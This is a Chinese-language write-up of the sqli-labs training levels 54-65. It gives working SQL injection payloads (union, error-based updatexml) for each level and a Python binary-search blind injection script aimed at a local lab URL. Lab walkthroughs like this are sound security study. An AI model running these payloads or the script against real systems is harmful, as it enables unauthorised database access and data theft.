sqli-labs-master靶场训练笔记(54-65|决战紫禁之巓)

news2024/11/15 15:44:44

2024.2.5

level-54 

1、先判断类型和闭合类型

?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1' -- a   #正常 判断是 ' 闭合

2、 判断列数

 这里需要运气,但是根据前面50多关的经验直接猜测是3列

?id=-1' union select 1,2,3 -- a

3、爆表名,爆列名

由于有两个回显位,可以一口气爆两个 

?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- a

4、 爆字段名

?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='k4btflpcqe') -- a

5、爆数据

四个字段,四次机会

经过尝试,第三个字段是正确的

?id=-1' union select 1,2,(select group_concat('~',secret_0LJ6,'~') from challenges.k4btflpcqe limit 0,1) -- a

(如果是第一次打这个关卡,但凡运气和判断失误一点都不太能一次过)

level-55

1、先判断类型
?id=1/0       #错误 证明是数字型
?id=1 -- a    #错误
?id=1) -- a   #正常 判断是 ) 闭合

2、后面过程与 level-54 一样

level-56

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1' -- a   #错误
?id=1') -- a  #正常 判断是 ') 闭合

2、后面过程与 level-54 一样

 level-57

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #正常
?id=1"        #错误
?id=1" -- a   #正常 判断是 " 闭合

2、后面过程与 level-54 一样

level-58

1、先判断类型

?id=1/0       #正常 证明不是数字型
?id=1' -- a   #因为有报错信息可以直接判断出'闭合

2、爆列名

有报错信息的存在,这次选择报错注入,节省次数的浪费

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) -- a

3、爆字段

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='q9821q44au'),'~'),1) -- a

4、爆数据

?id=1' and updatexml(1,concat('~',(select group_concat('~',secret_L4Z3,'~') from challenges.q9821q44au limit 0,1),'~'),1) -- a

level-59

1、先判断类型
?id=1/0       #错误 证明是数字型
?id=1 -- a    #正常 判断无闭合

2、后面过程与 level-58 一样

level-60

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1"        #根据报错信息知道是 ") 闭合
?id=1") -- a  #正常

2、后面过程与 level-58 一样

level-61

1、先判断类型
?id=1/0        #正常 证明不是数字型
?id=1'         #根据报错信息知道是 ')) 闭合
?id=1')) -- a  #正常

2、后面过程与 level-58 一样

level-62

 1、先判断类型

1、先判断类型
?id=1/0         #正常 证明不是数字型
?id=1'          #错误
?id=1"          #正常
?id=1' -- a     #错误
?id=1') -- a    #正常 判断是 ') 闭合

2、爆数据

首先需要了解一下表名,列名,数据的组成

表名:10位随机的字母(含大小写)或数字

列名:secret_+4位随机的字母(含大小写)或数字

数据:24位随机的字母(含大小写)或数字

显然正常的爆破次数(38*62=2356)是远远大于130次的

而且用二分法 (38*log2(62)=228) 也大于130

既然这样,只能写脚本绕过了

import requests

def binary_query(start,length,payload):
    name = ''
    times = 0
    for i in range(start,start+length):
        p, q = 0, len(words)-1
        while p<=q:
            resp = requests.get(url, params={'id':payload.format(i,words[(p+q)//2])})
            times += 1
            if ("Login name" in resp.content.decode('utf-8')):  #向右找
                p = (p+q)//2+1
            else:    #向左找
                q = (p+q)//2-1
        name += chr(words[p])
    return name,times


#生成0~9,A~Z,a~z的ascii码
words = [i for i in range(ord('0'),ord('9')+1)]+[i for i in range(ord('A'),ord('Z')+1)]+[i for i in range(ord('a'),ord('z')+1)]
url = r"http://127.0.0.1/sqli-labs-master/Less-62/"

#爆表名
table_payload = "1') and if(ascii(mid((select table_name from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- a"
table_name, table_time= binary_query(1,10,table_payload)
print(f'table_name: {table_name}\ntable_time: {table_time}')

#爆列名
column_payload = f"1') and if(ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' and column_name like 'secret_%')"+",{},1))>{},1,0) -- a"
column_name,column_time = binary_query(8,4,column_payload)
column_name = 'secret_'+ column_name
print(f'table_name: {column_name}\ntable_time: {column_time}')

#爆数据
data_payload = f"1') and if(ascii(mid((select {column_name} from challenges.{table_name})"+",{},1))>{},1,0) -- a"
data_name,data_time = binary_query(1,24,data_payload)
print(f'table_name: {data_name}\ntable_time: {data_time}')

print(f'sum_time:{table_time+column_time+data_time}')

 

level-63

?id=1' -- a
' 闭合,剩下的和level-62一样

level-64

?id=1)) -- a
)) 闭合,剩下的和level-62一样

level-65

?id=1") -- a
") 闭合,剩下的和level-62一样

这一路上走走停停,两周的时间,当初茫然的菜鸟似乎已经开始可以独自面对风雨,从对着单引号一脸懵逼到如今可以写脚本来解放双手,sql注入的大门已经为你我打开,此时,训练场已经满足不了想要展翅的❤,是时候背起行囊,前往大千世界,但切记,虽可飞翔,但羽翼仍未丰满,面对挑战,不要气馁,面对弱小, 务必留情,切勿挑战世界的法则,与千千万万一起构建和谐的社会

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1437077.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

时序数据库Influxdb查询多个字段_field同一时间的值,组成一条数据

Influxdb将表格数据多个字段_field从垂直列布局聚合成水平布局行字段。 问题 1、Influxdb 是一种时间序列数据库&#xff0c;在我的项目中主要用来存储换热站的测点数据的。换热站有非常多的测点&#xff0c;我们用Flux 语法去查询测点数据&#xff0c;返回的数据结构是每个测…

阿里云增加数据库访问白名单

阿里云增加数据库访问白名单 概况 我们希望在外网访问数据库时&#xff0c;可能会遇到无法连接的问题&#xff0c;这有可能是被拦截了。这时就需要去查看自己的ip有没有在白名单里面&#xff0c;没有的话就把ip加入到白名单。 路径 阿里云控制台-搜索RDS-进入RDS管理控制台…

每日一题——LeetCode1413.逐步求和得到正数的最小值

方法一 个人方法&#xff1a; 找出数组求和过程中出现的最小值&#xff0c;如果这个值最小都>0&#xff0c;那么startValue只需要取最小正数1&#xff0c; 反之startValue取最小值的绝对值1&#xff0c;那么startValuemin一定>1 var minStartValue function(nums) {l…

MTK 多帧算法集成实现流程

和你一起终身学习&#xff0c;这里是程序员Android 经典好文推荐&#xff0c;通过阅读本文&#xff0c;您将收获以下知识点: 一、选择feature和配置feature table二、 挂载算法三、自定义metadata四、APP调用算法五、结语 一、选择feature和配置feature table 1.1 选择feature …

双面板设计的一套经验规则-笔记

过大的分布电感导致信号地干扰也就是地弹(专业名词) 还有就是输出瞬态电流导致的地弹 图中可以看到最高 0.5V 的信号地干扰&#xff0c;这只是单一块开发板的测试结果。如果接上外围电路&#xff0c;甚至面包板电路可以想象噪声水平可能会更高。 双面电路板 经验规则 下面来…

I.MX6u嵌入式linux驱动开发

1&#xff1a;Ubuntu 系统入门 当 Ubuntu 系统入门以后&#xff0c;我们重点要学的就是如何在 Linux 下进行 C 语言开发&#xff0c;如何使 用 gcc 编译器、如何编写 Makefile 文件等等 首先安装虚拟机软件VM&#xff1a; Vmware Workstation 软件可以在 Wmeare …

架构学习(五):scrapy实现自定义代理中间件

scrapy实现自定义代理中间件 前言关卡&#xff1a;实现自定义代理中间件代理中间件源码解析代理池自定义代理中间件 结束 前言 ip检测是比较常规的反爬手段&#xff0c;一般站点会限制ip的访问频率&#xff0c;或者根据ip的访问规律和频率来识别异常访问&#xff0c;从而点对点…

Stable Diffusion 模型下载:majicMIX fantasy 麦橘幻想

文章目录 模型介绍生成案例案例一案例二案例三案例四案例五案例六案例七案例八案例九案例十 下载地址 模型介绍 非常推荐的一个非常绚丽、充满幻想的大模型&#xff0c;由国人“Merjic”发布&#xff0c;下载量颇高。这个模型风格炸裂&#xff0c;远距离脸部需要inpaint以达成…

Leetcode—135. 分发糖果【中等】

2024每日刷题&#xff08;113&#xff09; Leetcode—135. 分发糖果 算法思想 这里可以利用贪心策略&#xff0c;求局部最优解&#xff0c;然后合并为全局最优解。具体来说&#xff0c;将原问题中相邻孩子的条件划分为左相邻孩子和右相邻孩子两个条件&#xff0c;依次求解出两…

NLP中的嵌入和距离度量

本文将深入研究嵌入、矢量数据库和各种距离度量的概念&#xff0c;并提供示例和演示代码。 NLP中的嵌入 嵌入是连续向量空间中对象、单词或实体的数值表示。在NLP中&#xff0c;词嵌入捕获词之间的语义关系&#xff0c;使算法能够更好地理解文本的上下文和含义。 让我们试着用…

Linux操作系统运维-Docker的基础知识梳理总结

Linux操作系统运维-Docker的基础知识梳理总结 docker用来解决不同开发人员软件调试时环境不统一的问题&#xff0c;保证了程序调试时运行环境的一致性。docker的设计理念便是一处镜像&#xff0c;处处运行&#xff0c;即通过产生用户软件&#xff0c;运行环境及其运行配置的统一…

PKI - 01 散列(Hash)函数

文章目录 PKI概述散列日产生活中的指纹的工作原理散列函数的工作原理散列函数的四大特点使用散列函数验证数据的完整性 PKI概述 PKI&#xff08;Public Key Infrastructure&#xff0c;公钥基础设施&#xff09;证书系统是一种用于保护网络通信安全的技术。它基于非对称加密算法…

自己动手打包element UI官方手册文档教程

经常用element ui朋友开发的比较郁闷&#xff0c;官方文档网基本上都是打不开的&#xff0c; 官方&#xff1a;https://element.eleme.io/ 一直打不开&#xff0c;分析下是里面用的cdn链接ssl证书无效。 就想着自己搭建一个element UI文档 自己搭建的&#xff1a; Element文档网…

python 动态显示数据。

界面显示动态的数据。 from time import sleep import serialimport tkinter as tklis[1,10,40] # 打开串行端口 ser serial.Serial(COM3, 9600) # 9600为波特率&#xff0c;根据实际情况进行调整# 创建窗口和画布 window tk.Tk() canvas tk.Canvas(window, width400, heig…

牛客错题整理——C语言(实时更新)

1.以下程序的运行结果是&#xff08;&#xff09; #include <stdio.h> int main() { int sum, pad,pAd; sum pad 5; pAd sum, pAd, pad; printf("%d\n",pAd); }答案为7 由于赋值运算符的优先级高于逗号表达式&#xff0c;因此pAd sum, pAd, pad;等价于(…

大厂聚合支付系统架构演进(上)

点击下方“JavaEdge”&#xff0c;选择“设为星标” 第一时间关注技术干货&#xff01; 关注我&#xff0c;紧跟本系列专栏文章&#xff0c;咱们下篇再续&#xff01; 作者简介&#xff1a;魔都国企技术专家兼架构&#xff0c;多家大厂后端一线研发经验&#xff0c;各大技术社区…

OpenCV与机器学习:使用opencv和sklearn实现线性回归

前言 线性回归是一种统计分析方法&#xff0c;用于确定两种或两种以上变量之间相互依赖的定量关系。在统计学中&#xff0c;线性回归利用线性回归方程&#xff08;最小二乘函数&#xff09;对一个或多个自变量&#xff08;特征值&#xff09;和因变量&#xff08;目标值&#…

osg模型的平移、缩放、旋转

加载2个模型&#xff0c;其中一个向上移动28个单位&#xff1b; 加载2个模型&#xff0c;其中一个缩放0.5倍&#xff0c;向下移动22个单位&#xff1b; 加载2个模型&#xff0c;其中一个缩放0.5倍、旋转45度、向右向下移动几个单位&#xff1b; 都是用矩阵实现的&#xff1b; …

Mac上软件闪退(意外退出)的解决方法

mac苹果电脑上运行软件会意外退出&#xff0c;怎么办&#xff0c;可以试试下面的方法&#xff0c;亲测可行&#xff01; 第一种方法&#xff1a; 1、打开访达&#xff0c;进入应用程序目录&#xff0c;找到闪退的软件图标&#xff0c;在软件图标上右键选择“显示简介”&#…

【计算机网络】【练习题及解答】【新加坡南洋理工大学】【Computer Control Network】【Exercise Solution】

说明&#xff1a; 个人资料&#xff0c;仅供学习使用&#xff0c;版权归校方所有。 一、题目描述 该问题接上期博文【练习题及解答】&#xff0c;描述网络通信中的链路效率&#xff08;Link Efficiency&#xff09;&#xff0c;即Link Utilization的计算。&#xff08;此处认…